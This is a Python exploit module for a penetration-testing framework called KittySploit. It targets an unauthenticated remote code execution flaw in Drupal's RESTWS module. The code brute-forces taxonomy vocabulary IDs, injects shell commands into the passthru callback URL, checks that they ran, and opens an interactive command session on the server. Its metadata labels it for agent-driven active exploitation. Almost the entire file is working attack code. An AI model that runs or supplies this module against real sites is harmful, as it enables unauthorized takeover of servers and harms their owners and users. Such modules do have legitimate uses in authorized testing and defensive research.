Drupal RESTWS passthru RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Drupal RESTWS taxonomy_vocabulary passthru RCE — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Drupal RESTWS passthru RCE',
        'description': (
            'Exploits Drupal RESTWS module RCE via taxonomy_vocabulary passthru '
            'callbacks (SA-CONTRIB-2016-040). Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.drupal.org/node/2761187',
        ],
        'tags': ['drupal', 'restws', 'passthru', 'rce', 'unauth'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['drupal'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'RESTWS passthru'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/drupal_restws_passthru_rce_detect'],
            },
        },
    }

    base_path = OptString('', 'Drupal base path', False, advanced=True)
    vid = OptString('', 'Taxonomy vocabulary ID (auto 1-10 if empty)', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['', '/drupal']

    def _vids(self) -> list[str]:
        if self.vid:
            return [str(self.vid)]
        return [str(i) for i in range(1, 11)]

    def execute(self, cmd: str) -> str:
        from urllib.parse import quote
        safe = quote(str(cmd), safe='')
        if getattr(self, '_hit_vid', None) is not None:
            base = getattr(self, '_hit_base', '')
            path = f'{base}/index.php?q=taxonomy_vocabulary/{self._hit_vid}/passthru/{safe}'
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            return (r.text or '') if r else ''
        for base in self._bases():
            for vid in self._vids():
                path = f'{base}/index.php?q=taxonomy_vocabulary/{vid}/passthru/{safe}'
                r = self.http_request(method='GET', path=path, allow_redirects=False)
                if r and re.search(r'uid=\d+|' + re.escape(cmd[:4]), r.text or ''):
                    self._hit_base = base
                    self._hit_vid = vid
                    return r.text or ''
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'Drupal RESTWS passthru confirmed via id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'RESTWS passthru did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        self._hit_vid = None
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._hit_vid = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()